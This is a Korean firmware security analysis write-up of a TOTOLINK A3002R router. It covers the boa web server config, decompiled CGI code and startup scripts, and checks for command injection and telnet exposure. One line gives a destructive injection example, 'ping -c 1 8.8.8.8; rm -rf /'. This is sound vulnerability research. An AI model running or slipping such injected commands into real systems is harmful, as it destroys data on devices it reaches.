<li><code>/bin/telnetd</code>: Telnet 서비스 활성화 가능성 (보안 취약)</li>
<li><code>/bin/busybox</code>: 경량 유틸리티 모음, 주요 명령어 처리</li>
<li><code>/bin/init</code>, <code>/etc/init.d/rcS</code>: 시스템 초기화 스크립트</li>
</ul>
<h3 id="설정-파일">설정 파일</h3>
<ul>
<li><code>/etc/inittab</code>: 시스템 초기화 관련 설정</li>
<li><code>/etc/passwd</code>, <code>/etc/shadow.sample</code>: 사용자 계정 정보, 해시 암호 포함</li>
<li><code>/etc/dnsmasq.conf</code>: DNS/DHCP 서비스 설정</li>
</ul>
<h3 id="웹-인터페이스-관련-파일">웹 인터페이스 관련 파일</h3>
<ul>
<li><code>/web/</code>: 관리자 페이지 관련 HTML, JavaScript, CGI 스크립트 포함</li>
<li><code>/web/cgi-bin/cstecgi.cgi</code>: CGI 기반 관리자 페이지 취약점 가능성 (명령 주입 확인 필요)</li>
<li><code>/etc/boa.conf</code>: Boa 웹서버 설정 파일</li>
</ul>
<h2 id="분석-방향-정하기">분석 방향 정하기</h2>
<ul>
<li><p><strong><code>boa</code> 웹서버 취약점 탐색</strong></p>
<ul>
<li><code>boa</code>는 2005년 개발이 중단된 경량 웹서버 → 기존 CVE 목록 확인</li>
<li><code>/etc/boa.conf</code> 파일을 분석하여 디렉토리 트래버설 및 인증 우회 가능성 탐색</li>
<li><code>boa</code>가 실행하는 CGI 스크립트(<code>/web/cgi-bin/cstecgi.cgi</code>)에서 명령 주입 가능성 확인</li>
</ul>
</li>
<li><p><strong><code>telnetd</code> 서비스 존재 여부 확인</strong></p>
<ul>
<li><code>/bin/telnetd</code>가 존재하므로 기본적으로 telnet 서비스가 활성화될 가능성</li>
<li><code>/etc/inittab</code>, <code>/etc/init.d/rcS</code> 내 telnet 실행 여부 확인</li>
</ul>
</li>
<li><p><strong>하드코딩된 계정 정보 및 취약한 암호화</strong></p>
<ul>
<li><code>/etc/passwd</code> 및 <code>/etc/shadow.sample</code> 파일 확인</li>
<li>MD5 기반 해시 암호 포함 가능: 취약한 해시 알고리즘</li>
</ul>
</li>
<li><p><strong>네트워크 서비스 점검</strong></p>
<ul>
<li><code>dnsmasq</code>, <code>iptables</code>, <code>pppd</code> 등 네트워크 관련 설정 분석</li>
<li>DHCP, 방화벽 설정이 안전하게 구성되어 있는지 확인</li>
</ul>
</li>
</ul>
<hr>
<h1 id="취약점-분석-개시">취약점 분석 개시</h1>
<h2 id="boa-및-웹-서버-측면">Boa 및 웹 서버 측면</h2>
<h3 id="boaconf">boa.conf</h3>
<ul>
<li><p><strong>웹 서버 실행 계정이 <code>root</code></strong></p>
<ul>
<li><code>User root</code> / <code>Group root</code>로 설정됨 → Boa 웹 서버가 root 권한으로 실행</li>
<li>Boa에서 발생한 취약점이 악용되면 시스템 전체가 위험해질 수 있음</li>
<li>Exploit 최우선 목표!</li>
</ul>
</li>
<li><p><strong>문서 루트 (<code>DocumentRoot /var/web</code>)</strong></p>
<ul>
<li>웹 파일이 <code>/var/web</code> 디렉토리에서 제공됨</li>
<li>특정 맛있는 파일(예: <code>.htpasswd</code>)이 포함되었는지 확인 필요<ul>
<li>동적분석 세션에서 확인해보기</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>CGI 스크립트 실행 허용</strong></p>
<ul>
<li><code>ScriptAlias /cgi-bin/ /var/web/cgi-bin/</code></li>
<li><code>/var/web/cgi-bin/</code> 내부의 모든 스크립트가 실행 가능 → 명령 주입 가능성</li>
</ul>
</li>
<li><p><strong>CGI 실행 파일 확장자 허용</strong></p>
<ul>
<li><code>AddType application/x-httpd-cgi cgi</code></li>
<li><code>AddType application/x-httpd-cgi php</code></li>
<li><code>.cgi</code> 및 <code>.php</code> 파일이 CGI로 실행됨 → 공격자가 악성 CGI 업로드 시 코드 실행 가능</li>
</ul>
</li>
</ul>
<h3 id="cstecgicgi">cstecgi.cgi</h3>
<ul>
<li><p><strong>실행 바이너리 파일 (<code>ELF</code> 포맷)</strong></p>
<ul>
<li><code>cstecgi.cgi</code>는 바이너리 실행 파일 (ELF 포맷)</li>
<li>바이너리 내에서 문자열 추출 (<code>strings cstecgi.cgi</code> 수행 필요)</li>
</ul>
</li>
<li><p><strong>의심스러운 문자열</strong></p>
<ul>
<li><code>ping -c 1 8.8.8.8 &gt; /dev/null</code><ul>
<li>명령 주입 가능성 있음 (사용자 입력을 검증 없이 <code>ping</code> 실행할 경우 위험)</li>
</ul>
</li>
<li><code>&quot;topicurl&quot;:&quot;setting/refineCSAuth&quot;</code></li>
<li><code>getSysStatusCfg</code></li>
<li><code>http://www.carystudio.com/router/wechatmanage/routerurl?url=</code><ul>
<li>외부 URL이 포함됨 → 외부 서버 통신 기능이 있나?</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>취약점 가능성</strong></p>
<ul>
<li><code>ping</code> 명령을 포함하는 점에서, 명령 주입 (Command Injection) 취약점 가능성</li>
<li>추가 분석 필요: <code>strings</code>, <code>ghidra</code>, <code>gdb</code> 등을 사용해 내부 로직 확인할 것</li>
</ul>
</li>
</ul>
<h4 id="strings-cstecgicgi로-검사">strings cstecgi.cgi로 검사</h4>
<ol>
<li><strong>시스템 명령 실행 관련 함수</strong></li>
</ol>
<pre><code>system
sprintf
strcpy</code></pre><ul>
<li><code>system()</code> → 외부 명령어 실행 가능 (명령 주입 가능성)</li>
<li><code>sprintf()</code> → 입력 검증 없이 문자열을 구성하면 취약 (버퍼 오버플로우 가능성)</li>
<li><code>strcpy()</code> → 입력 크기 제한이 없다면 위험 (버퍼 오버플로우 가능성)</li>
</ul>
<ol start="2">
<li><strong>JSON 관련 라이브러리 (<code>libcjson.so</code>)</strong></li>
</ol>
<pre><code>cJSON_CreateObject
cJSON_Print
cJSON_Parse
cJSON_GetObjectItem
cJSON_GetArrayItem
cJSON_CreateString
cJSON_CreateNumber
cJSON_AddItemToObject</code></pre><ul>
<li>JSON 데이터를 다루는 코드가 포함됨 → 외부에서 JSON 데이터를 받아 처리하는 기능이 있을 가능성</li>
<li><code>cJSON_Parse()</code> 사용 시, 입력값 검증이 없다면 JSON 인젝션 취약점이 발생할 수 있음</li>
</ul>
<ol start="3">
<li><strong>환경 변수 및 네트워크 입력 관련 문자열</strong></li>
</ol>
<pre><code>CONTENT_LENGTH
REMOTE_ADDR
QUERY_STRING
http_host</code></pre><ul>
<li>웹 서버에서 들어오는 HTTP 요청과 관련된 변수들 → CGI가 요청을 직접 처리하고 있을 가능성</li>
<li><code>QUERY_STRING</code> → URL의 GET 파라미터를 직접 처리할 경우 명령 주입 가능성 높음</li>
</ul>
<ol start="4">
<li><strong>하드코딩된 외부 통신 URL</strong></li>
</ol>
<pre><code>http://www.carystudio.com/router/wechatmanage/routerurl?url=</code></pre><ul>
<li>CGI가 외부 서버와 통신할 가능성이 있음</li>
<li>공격자가 조작된 URL을 보낼 경우, 정보 유출 가능성이 있을 수 있음</li>
<li>이 URL이 사용자 입력을 통해 동적으로 구성되는지 확인해야 함</li>
</ul>
<ol start="5">
<li><strong><code>ping</code> 명령어 실행 (명령 주입 가능성)</strong></li>
</ol>
<pre><code>ping -c 1 8.8.8.8 &gt; /dev/null</code></pre><ul>
<li><code>system(&quot;ping -c 1 8.8.8.8 &gt; /dev/null&quot;)</code> 같은 코드가 있는 경우<ul>
<li>입력값이 고정된 경우 문제없음</li>
<li>만약 사용자 입력을 통해 대상 IP가 변경될 경우 명령 주입이 가능</li>
<li>예를 들어, <code>ping -c 1 8.8.8.8; rm -rf /</code> 같은 입력이 들어가면 임의 명령어 실행 가능</li>
<li>근데 뭐 저건 고정이겠지</li>
</ul>
</li>
</ul>
<ol start="6">
<li><strong>MAC 주소 및 네트워크 정보 관련 문자열</strong></li>
</ol>
<pre><code>%02x:%02x:%02x:%02x:%02x:%02x
lanMac
lanIp
getSysStatusCfg
getCrpcConfig</code></pre><ul>
<li>MAC 주소 및 LAN IP를 조회하는 기능이 있을 가능성</li>
<li>시스템 내부 정보를 노출하는 취약점이 있을 수 있음</li>
<li>하드코딩 크레덴셜 하나 더 가나?</li>
</ul>
<h3 id="cstecgicgi-바이너리-리버싱"><code>cstecgi.cgi</code> 바이너리 리버싱</h3>
<pre><code>int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v3; // $a1
  int v4; // $a2
  int v5; // $v0
  int v6; // $s1
  int v7; // $s2
  int v8; // $a2
  int v9; // $a1
  int v10; // $a2
  int v11; // $v0
  int v12; // $s2
  char *v13; // $s0
  int v14; // $s1
  int v15; // $a1
  int v16; // $a2
  int v17; // $s0
  int v18; // $s1
  int ArrayItem; // $a0
  int v20; // $s2
  int Object; // $s0
  int String; // $v0
  int v23; // $v0
  int v24; // $v0
  const char *v25; // $a1
  int v26; // $v0
  __int64 v27; // $v0
  int Number; // $v0
  int v29; // $v0
  int v30; // $s2
  unsigned int i; // $s3
  int v32; // $v0
  const char *v33; // $s2
  unsigned __int8 v35; // [sp+28h] [-21DCh] BYREF
  unsigned __int8 v36; // [sp+29h] [-21DBh]
  unsigned __int8 v37; // [sp+2Ah] [-21DAh]
  unsigned __int8 v38; // [sp+2Bh] [-21D9h]
  unsigned __int8 v39; // [sp+2Ch] [-21D8h]
  unsigned __int8 v40; // [sp+2Dh] [-21D7h]
  _DWORD v41[25]; // [sp+68h] [-219Ch] BYREF
  _BYTE v42[100]; // [sp+CCh] [-2138h] BYREF
  char v43[100]; // [sp+130h] [-20D4h] BYREF
  char v44[100]; // [sp+194h] [-2070h] BYREF
  _BYTE v45[4096]; // [sp+1F8h] [-200Ch] BYREF
  char v46[4096]; // [sp+11F8h] [-100Ch] BYREF
  const char *v47; // [sp+21F8h] [-Ch]

  v6 = getenv(&quot;stationIp&quot;, argv, envp);
  v5 = getenv(&quot;CONTENT_LENGTH&quot;, v3, v4);
  v7 = strtol(v5, 0, 10);
  puts(&quot;\n&quot;);
  if ( apmib_init() )
  {
    memset(v46, 0, sizeof(v46));
    if ( (unsigned int)v46 &gt;= 0x1000 )
      v8 = 4096;
    else
      v8 = v7 + 1;
    fread(v46, 1, v8, stdin);
    if ( !v6 )
      getenv(&quot;REMOTE_ADDR&quot;, v9, v10);
    v11 = getenv(&quot;QUERY_STRING&quot;, v9, v10);
    v12 = v11;
    v13 = v46;
    if ( v11 )
    {
      v14 = strstr(v11, &quot;CSAuthUrl=&quot;);
      if ( v14 )
      {
        v13 = v45;
        memset(v45, 0, sizeof(v45));
        sprintf(v45, &quot;{\&quot;topicurl\&quot;:\&quot;setting/refineCSAuth\&quot;,\&quot;CSAuthUrl\&quot;:\&quot;%s\&quot;}&quot;, v14 + 10);
      }
      else
      {
        v13 = v45;
        if ( strstr(v12, &quot;CSAuth=login&quot;) )
        {
          memset(v45, 0, sizeof(v45));
          sprintf(v45, &quot;{\&quot;topicurl\&quot;:\&quot;setting/formPostCSAuth\&quot;,\&quot;CSAuthUrl\&quot;:\&quot;%s\&quot;}&quot;, v46);
        }
        else
        {
          v13 = v46;
          if ( strstr(v12, &quot;action=login&quot;) )
          {
            v17 = strstr(v12, &quot;flag=1&quot;);
            v47 = (const char *)getenv(&quot;http_host&quot;, v15, v16);
            memset(v45, 0, sizeof(v45));
            if ( v17 )
            {
              sprintf(v45, &quot;{\&quot;topicurl\&quot;:\&quot;setting/loginAuth\&quot;,\&quot;loginAuthUrl\&quot;:\&quot;%s&amp;http_host=%s&amp;flag=1\&quot;}&quot;, v46, v47);
              v13 = v45;
            }
            else
            {
              v13 = v45;
              sprintf(v45, &quot;{\&quot;topicurl\&quot;:\&quot;setting/loginAuth\&quot;,\&quot;loginAuthUrl\&quot;:\&quot;%s&amp;http_host=%s\&quot;}&quot;, v46, v47);
            }
          }
        }
      }
    }
    v18 = cJSON_Parse(v13);
    if ( v18 )
    {
      if ( *v13 == 91 )
        ArrayItem = cJSON_GetArrayItem(v18, 0);
      else
        ArrayItem = v18;
      v20 = *(_DWORD *)(cJSON_GetObjectItem(ArrayItem, &quot;topicurl&quot;) + 16);
      Object = cJSON_CreateObject();
      if ( strstr(v20, &quot;getSysStatusCfg&quot;) )
      {
        apmib_get(201, &amp;v35);
        sprintf(v41, &quot;%02x:%02x:%02x:%02x:%02x:%02x&quot;, v35, v36, v37, v38, v39, v40);
        String = cJSON_CreateString(v41);
        cJSON_AddItemToObject(Object, &quot;lanMac&quot;, String);
        apmib_get(170, v41);
        v23 = inet_ntoa(v41[0]);
        strcpy((int)v41, v23);
        v24 = cJSON_CreateString(v41);
        v25 = &quot;lanIp&quot;;
      }
      else
      {
        if ( !strstr(v20, &quot;getCrpcConfig&quot;) )
          goto LABEL_31;
        strcpy((int)v41, (int)&quot;ping -c 1 8.8.8.8 &gt; /dev/null&quot;);
        v26 = system((int)v41);
        v27 = sub_4012F8(v26 == 0);
        Number = cJSON_CreateNumber(v27, HIDWORD(v27));
        cJSON_AddItemToObject(Object, &quot;status&quot;, Number);
        v29 = fopen(&quot;/tmp/crpc_url&quot;, &quot;r&quot;);
        v30 = v29;
        if ( v29 )
        {
          fgets(v42, 100, v29);
          fclose(v30);
        }
        memset(v44, 0, sizeof(v44));
        for ( i = 0; i &lt; strlen(v42); ++i )
        {
          v32 = (char)v42[i];
          if ( v32 == 10 )
            break;
          v44[i] = v32;
        }
        apmib_get(201, &amp;v35);
        sprintf(v43, &quot;%02x:%02x:%02x:%02x:%02x:%02x&quot;, v35, v36, v37, v38, v39, v40);
        sprintf(v41, &quot;%s%s?mac=%s&quot;, &quot;http://www.carystudio.com/router/wechatmanage/routerurl?url=&quot;, v44, v43);
        v24 = cJSON_CreateString(v41);
        v25 = &quot;url&quot;;
      }
      cJSON_AddItemToObject(Object, v25, v24);
LABEL_31:
      v33 = (const char *)cJSON_Print(Object);
      printf(&quot;%s&quot;, v33);
      cJSON_Delete(Object);
      cJSON_Delete(v18);
      free(v33);
      exit(0);
    }
  }
  return -1;
}</code></pre><ul>
<li><code>system()</code>이 <code>getCrpcConfig</code> 처리 과정에서 호출</li>
<li>사용자 입력 (<code>QUERY_STRING</code>)을 통해 <code>getCrpcConfig</code> 요청 시 <code>ping</code> 명령 실행 가능해 보임</li>
<li>입력값이 <code>system()</code>으로 전달되기 전에 필터링이 없을 경우, 명령 주입 가능성 존재</li>
</ul>
<h4 id="상세-분석">상세 분석</h4>
<pre><code>if (strstr(v20, &quot;getCrpcConfig&quot;))  // `QUERY_STRING`에 &quot;getCrpcConfig&quot;가 포함된 경우
{
    strcpy((int)v41, (int)&quot;ping -c 1 8.8.8.8 &gt; /dev/null&quot;);
    v26 = system((int)v41);  // system() 호출!!
}</code></pre><ul>
<li><code>QUERY_STRING</code> 값에서 <code>&quot;getCrpcConfig&quot;</code> 문자열이 포함된 경우<ul>
<li><code>system(&quot;ping -c 1 8.8.8.8 &gt; /dev/null&quot;);</code> 실행</li>
</ul>
</li>
</ul>
<ul>
<li><code>&quot;ping -c 1 8.8.8.8&quot;</code> 같은 정적인 명령을 실행하면 원래는 안전<ul>
<li><code>system()</code> 실행 전에 사용자 입력값을 조작할 수 있다면, 명령 주입이 가능할 수도 있음</li>
<li>뭔가 될 거 같아서 못 놓겠다</li>
</ul>
</li>
</ul>
<h4 id="취약점-가능성-분석">취약점 가능성 분석</h4>
<pre><code>v11 = getenv(&quot;QUERY_STRING&quot;);  // HTTP Query String 가져오기
...
v20 = *(_DWORD *)(cJSON_GetObjectItem(ArrayItem, &quot;topicurl&quot;) + 16);  // JSON에서 &quot;topicurl&quot; 가져오기
if (strstr(v20, &quot;getCrpcConfig&quot;))  // &quot;getCrpcConfig&quot; 요청 확인
{
    strcpy((int)v41, (int)&quot;ping -c 1 8.8.8.8 &gt; /dev/null&quot;);
    v26 = system((int)v41);
}</code></pre><ul>
<li><p><code>system()</code>에 전달되는 명령어는 하드코딩된 <code>&quot;ping -c 1 8.8.8.8 &gt; /dev/null&quot;</code> 문자열</p>
<ul>
<li>사용자의 입력값 (<code>QUERY_STRING</code>)이 <code>system()</code> 인자로 직접 연결되지 않음</li>
<li>즉, 외부에서 직접 명령어 삽입이 불가능</li>
</ul>
</li>
<li><p><code>QUERY_STRING</code>을 이용해 <code>system()</code>을 우회할 가능성</p>
<ul>
<li><code>&quot;getCrpcConfig&quot;</code> 값을 조작해도, <code>&quot;ping -c 1 8.8.8.8 &gt; /dev/null&quot;</code> 명령 자체를 변경할 방법이 없음</li>
</ul>
</li>
</ul>
<h4 id="cjson_parse">cJSON_Parse</h4>
<pre><code>v18 = cJSON_Parse(v13);</code></pre><ul>
<li><code>v13</code>에 저장된 JSON을 직접 파싱.</li>
<li>JSON 데이터를 통한 인젝션 공격 가능성 확인 필요</li>
</ul>
<h4 id="apmib_get">apmib_get</h4>
<h5 id="목표">목표</h5>
<ul>
<li><code>apmib_get(201, &amp;v35);</code> 및 <code>apmib_get(170, v41);</code>의 역할 확인</li>
<li>기기에서 민감한 정보(예: MAC 주소, LAN IP 등)가 노출될 가능성이 있는지 분석</li>
<li><code>apmib_get()</code>이 특정 입력값과 연결될 수 있는지 확인</li>
</ul>
<h5 id="호출사용-흐름-분석">호출/사용 흐름 분석</h5>
<pre><code>if ( strstr(v20, &quot;getSysStatusCfg&quot;) )
{
    apmib_get(201, &amp;v35);
    sprintf(v41, &quot;%02x:%02x:%02x:%02x:%02x:%02x&quot;, v35, v36, v37, v38, v39, v40);
    String = cJSON_CreateString(v41);
    cJSON_AddItemToObject(Object, &quot;lanMac&quot;, String);

    apmib_get(170, v41);
    v23 = inet_ntoa(v41[0]);
    strcpy((int)v41, v23);
    v24 = cJSON_CreateString(v41);
    v25 = &quot;lanIp&quot;;
}</code></pre><h5 id="문제점-예상">문제점 예상</h5>
<ul>
<li><code>apmib_get(201, &amp;v35);</code> → LAN MAC 주소를 가져옴</li>
<li><code>apmib_get(170, v41);</code> → LAN IP 주소를 가져옴</li>
<li>MAC 및 IP 정보를 JSON 응답으로 반환함</li>
<li><code>&quot;getSysStatusCfg&quot;</code> 요청이 들어오면 MAC 주소 및 IP가 노출될 가능성?</li>
</ul>
<h5 id="검증할-사항">검증할 사항</h5>
<ul>
<li><code>&quot;getSysStatusCfg&quot;</code> 요청을 보내면 인증 없이 MAC/IP 정보를 받을 수 있는지 확인</li>
<li><code>apmib_get()</code>이 <code>QUERY_STRING</code> 같은 외부 입력값을 기반으로 다른 민감한 데이터를 반환할 가능성이 있는지 분석</li>
<li>MAC/IP 외에도 추가적으로 <code>apmib_get()</code>을 통해 반환되는 민감 정보가 있는지 조사</li>
</ul>
<blockquote>
<p>동적 분석 세션으로 이전</p>
</blockquote>
<h2 id="telnetd-서비스-존재-여부-확인"><code>telnetd</code> 서비스 존재 여부 확인</h2>
<ol>
<li><code>/bin/telnetd</code> 파일이 존재하는 것을 확인</li>
<li>다만 <code>telnetd</code> 바이너리가 존재한다고 해서 서비스가 실행된다는 보장은 없음</li>
<li>실행 여부를 확인하기 위해 시작 스크립트 및 init 설정을 확인하자</li>
</ol>
<h3 id="startupsh-및-init-스크립트에서-telnetd-호출-여부-확인"><code>startup.sh</code> 및 <code>init</code> 스크립트에서 <code>telnetd</code> 호출 여부 확인</h3>
<h4 id="startupsh">startup.sh</h4>
<pre><code>┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ cat ./bin/startup.sh | grep TELNET
        flash set TELNET_ENABLED 1</code></pre><pre><code>┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ cat ./bin/startup.sh              
#!/bin/sh
#
# script file to startup

TOOL=flash
GETMIB=&quot;$TOOL get&quot;
LOADDEF=&quot;$TOOL default-hw&quot;
LOADDEFDPKHW=&quot;$TOOL default-dpk&quot;
LOADDEFSW=&quot;$TOOL default-sw&quot;
LOADDS=&quot;$TOOL reset1&quot;
LOADWC=&quot;$TOOL write-current&quot;

$TOOL test-hwconf
if [ $? != 0 ]; then
        echo &#39;HW configuration invalid, write default hw!&#39;
        $LOADDEF
fi

$TOOL test-dpkconf
if [ $? != 0 ];then
        echo &#39;DPK configuration invalid, reset dpk!&#39;
        $LOADDEFDPKHW
fi

$TOOL test-dsconf
if [ $? != 0 ]; then
$TOOL test-csconf
if [ $? != 0 ]; then
        echo &#39;Default configuration invalid, reset default!&#39;
        $LOADDEFSW
        flash set WAN_DHCP 1
        flash set TELNET_ENABLED 1    //telnet 자동 실행 부분
        flash set PRODUCTION_CHECKOUT 1
        flash set CWMP_FLAG 0
        flash set CWMP_ENABLED 0

else
        echo &#39;Default configuration invalid, write current configuration to default configuration!&#39;
        $LOADWC
fi

fi
$TOOL test-csconf
if [ $? != 0 ]; then
        echo &#39;Current configuration invalid, reset to default configuration!&#39;
        $LOADDS
fi

if [ ! -e &quot;/var/system/set_time&quot; ]; then
        flash settime
fi

# Enable Multicast and Broadcast Strom control and disable it in post_startup.sh
echo &quot;1 3&quot; &gt; /proc/StormCtrl</code></pre><ul>
<li>펌웨어 설정에 <code>TELNET_ENABLED</code> 값을 1로 설정하는 코드</li>
<li>단순 설정값 변경이며, 직접 <code>telnetd</code>를 실행하는 명령어는 아님</li>
</ul>
<blockquote>
<p>사용자가 <code>flash</code> 설정을 변경하면 <code>telnetd</code>가 활성화될 가능성?
<code>TELNET_ENABLED 1</code> 설정이 의미하는 바가 무엇인가</p>
</blockquote>
<h4 id="rcs">rcS</h4>
<pre><code>┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ cat ./etc/init.d/rcS | grep telnet
# telnetd &amp;</code></pre><pre><code>┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ cat ./etc/init.d/rcS              
#!/bin/sh

ifconfig lo 127.0.0.1

CINIT=1

hostname rlx-linux

mount -t proc proc /proc
mount -t ramfs ramfs /var
if [ -d &quot;/hw_setting&quot; ];then
    mount -t yaffs2 -o tags-ecc-off -o inband-tags /dev/mtdblock1 /hw_setting
fi

mkdir /var/tmp
mkdir /var/web
mkdir /var/log
mkdir /var/run
mkdir /var/lock
mkdir /var/system
mkdir /var/dnrd
mkdir /var/avahi
mkdir /var/dbus-1
mkdir /var/run/dbus
mkdir /var/lib
mkdir /var/lib/misc
mkdir /var/home
mkdir /var/root
mkdir /var/tmp/net
###for tr069
mkdir /var/cwmp_default
mkdir /var/cwmp_config

if [ ! -f /var/cwmp_default/DefaultCwmpNotify.txt ]; then
        cp -p /etc/DefaultCwmpNotify.txt /var/cwmp_default/DefaultCwmpNotify.txt 2&gt;/dev/null
fi

##For miniigd
mkdir /var/linuxigd
cp /etc/tmp/pics* /var/linuxigd 2&gt;/dev/null

##For pptp
mkdir /var/ppp
mkdir /var/ppp/peers

#smbd
mkdir /var/config
mkdir /var/private
mkdir /var/tmp/usb
mkdir /var/tmp/mmc

#snmpd
mkdir /var/net-snmp

cp /bin/pppoe.sh /var/ppp/true
echo &quot;#!/bin/sh&quot; &gt; /var/ppp/true
#echo &quot;PASS&quot;     &gt;&gt; /var/ppp/true

#for console login
cp /etc/shadow.sample /var/shadow

#for weave
cp /etc/avahi-daemon.conf /var/avahi

cp -rf /etc/boa.org /var/boa
cp -rf /web/* /var/web/


#extact web pages
cd /web
#flash extr /web
cd /

mkdir -p /var/udhcpc
mkdir -p /var/udhcpd
cp /bin/init.sh /var/udhcpc/eth0.deconfig
echo &quot; &quot; &gt; /var/udhcpc/eth0.deconfig
cp /bin/init.sh /var/udhcpc/eth1.deconfig
echo &quot; &quot; &gt; /var/udhcpc/eth1.deconfig
cp /bin/init.sh /var/udhcpc/br0.deconfig
echo &quot; &quot; &gt; /var/udhcpc/br0.deconfig
cp /bin/init.sh /var/udhcpc/wlan0.deconfig
echo &quot; &quot; &gt; /var/udhcpc/wlan0.deconfig

if [ &quot;$CINIT&quot; = 1 ]; then
startup.sh
fi

# for wapi certs related
mkdir /var/myca
# wapi cert(must done before init.sh)
cp -rf /usr/local/ssl/* /var/myca/ 2&gt;/dev/null
# loadWapiFiles &gt;/dev/null 2&gt;&amp;1

# for wireless client mode 802.1x
mkdir /var/1x
cp -rf /usr/1x/* /var/1x/ 2&gt;/dev/null
mkdir /var/openvpn
cp -rf /usr/share/openvpn/* /var/openvpn 2&gt;/dev/null

# Start system script
ls /bin/watchdog &gt; /dev/null &amp;&amp; watchdog 1000&amp;
init.sh gw all

# modify dst-cache setting
echo &quot;24576&quot; &gt; /proc/sys/net/ipv4/route/max_size
echo &quot;180&quot; &gt; /proc/sys/net/ipv4/route/gc_thresh
echo 20 &gt; /proc/sys/net/ipv4/route/gc_elasticity
# echo 35 &gt; /proc/sys/net/ipv4/route/gc_interval
# echo 60 &gt; /proc/sys/net/ipv4/route/secret_interval
# echo 10 &gt; /proc/sys/net/ipv4/route/gc_timeout

# echo &quot;4096&quot; &gt; /proc/sys/net/nf_conntrack_max
echo &quot;18000&quot; &gt; /proc/sys/net/netfilter/nf_conntrack_max   #IP04442(8M/64M) 18000  16M/128M 32000     IP04443 23000
echo &quot;600&quot; &gt; /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_established
echo &quot;20&quot; &gt; /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_time_wait
echo &quot;20&quot; &gt; /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_close
echo &quot;90&quot; &gt; /proc/sys/net/ipv4/netfilter/ip_conntrack_udp_timeout
echo &quot;120&quot; &gt; /proc/sys/net/ipv4/netfilter/ip_conntrack_udp_timeout_stream
echo &quot;90&quot; &gt; /proc/sys/net/ipv4/netfilter/ip_conntrack_generic_timeout
# echo &quot;1048576&quot; &gt; /proc/sys/net/ipv4/rt_cache_rebuild_count
echo &quot;32&quot; &gt; /proc/sys/net/netfilter/nf_conntrack_expect_max

# modify IRQ Affinity setting
echo &quot;3&quot; &gt; /proc/irq/33/smp_affinity
echo &quot;1&quot; &gt; /proc/sys/net/ipv4/neigh/default/gc_thresh1

#echo 1 &gt; /proc/sys/net/ipv4/ip_forward #don&#39;t enable ip_forward before set MASQUERADE
#echo 2048 &gt; /proc/sys/net/core/hot_list_length

# start web server

boa
post_startup.sh

# telnetd &amp;</code></pre><ul>
<li><code>telnetd &amp;</code>가 주석 처리됨</li>
</ul>
<h4 id="inittab">inittab</h4>
<pre><code>┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ cat ./etc/inittab | grep telnet</code></pre><pre><code>┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ cat ./etc/inittab              
# Boot-time system configuration/initialization script.
::sysinit:/etc/init.d/rcS

# Start an &quot;askfirst&quot; shell on the console (whatever that may be)
#::askfirst:-/bin/sh
#::respawn:-/bin/sh

# Start an &quot;askfirst&quot; shell on /dev/tty2-4
#tty2::askfirst:-/bin/sh
#tty3::askfirst:-/bin/sh
#tty4::askfirst:-/bin/sh</code></pre><ul>
<li><code>inittab</code> 파일에서 <code>telnetd</code> 실행을 제어하는 항목 없음</li>
<li>만약 <code>telnetd</code>가 실행된다면, <code>rcS</code>나 <code>startup.sh</code>에서 실행될 가능성이 높음</li>
</ul>
<h3 id="스크립트-추가-분석---telnet에-대하여">스크립트 추가 분석 - telnet에 대하여</h3>
<h4 id="post_startupsh">post_startup.sh</h4>
<pre><code>┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ cat ./bin/post_startup.sh              
#!/bin/sh
#
echo &quot;200 3&quot; &gt; /proc/StormCtrl
echo &quot;Startup Ok&quot;</code></pre><ul>
<li><code>telnetd</code> 관련 내용 일체 존재하지 않음</li>
</ul>
<h4 id="flash-get-telnet_enabled-관련-코드-확인"><code>flash get TELNET_ENABLED</code> 관련 코드 확인</h4>
<pre><code>┌──(kali㉿kali)-[~/…/Firmware/Totolink/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root]
└─$ grep -rn &quot;TELNET_ENABLED&quot; ./bin

./bin/startup.sh:33:    flash set TELNET_ENABLED 1</code></pre><h4 id="중간정리">중간정리</h4>
<ul>
<li><p><code>startup.sh</code>에서 <code>flash set TELNET_ENABLED 1</code> 설정</p>
<ul>
<li><code>TELNET_ENABLED</code> 값을 <code>1</code>로 설정하지만,</li>
<li>해당 설정을 실제로 참조하는 코드가 존재하지 않음</li>
</ul>
</li>
<li><p><code>post_startup.sh</code>에서 <code>telnetd</code> 실행 코드 없음</p>
<ul>
<li><code>post_startup.sh</code>는 시스템 부팅 후 실행되지만,</li>
<li><code>telnetd</code>를 실행하는 코드가 전혀 없음</li>
</ul>
</li>
<li><p><code>flash set TELNET_ENABLED</code>을 참조하는 코드 없음</p>
<ul>
<li><code>flash set TELNET_ENABLED 1</code>은 존재하지만,</li>
<li>이 값을 읽어 <code>telnetd</code>를 실행하는 스크립트나 바이너리가 없음</li>
</ul>
</li>
<li><p><code>rcS</code>에서 <code>telnetd &amp;</code>가 주석 처리됨</p>
<ul>
<li>원래 <code>rcS</code>에서 <code>telnetd</code>를 실행할 수 있었지만, 현재는 비활성화된 상태</li>
</ul>
</li>
</ul>
<blockquote>
<p>현재 펌웨어 버전에서는 <code>telnetd</code>가 기본적으로 실행되지 않음
하지만 에뮬레이팅 환경에서는 telnet 포트가 기본적으로 개방됨
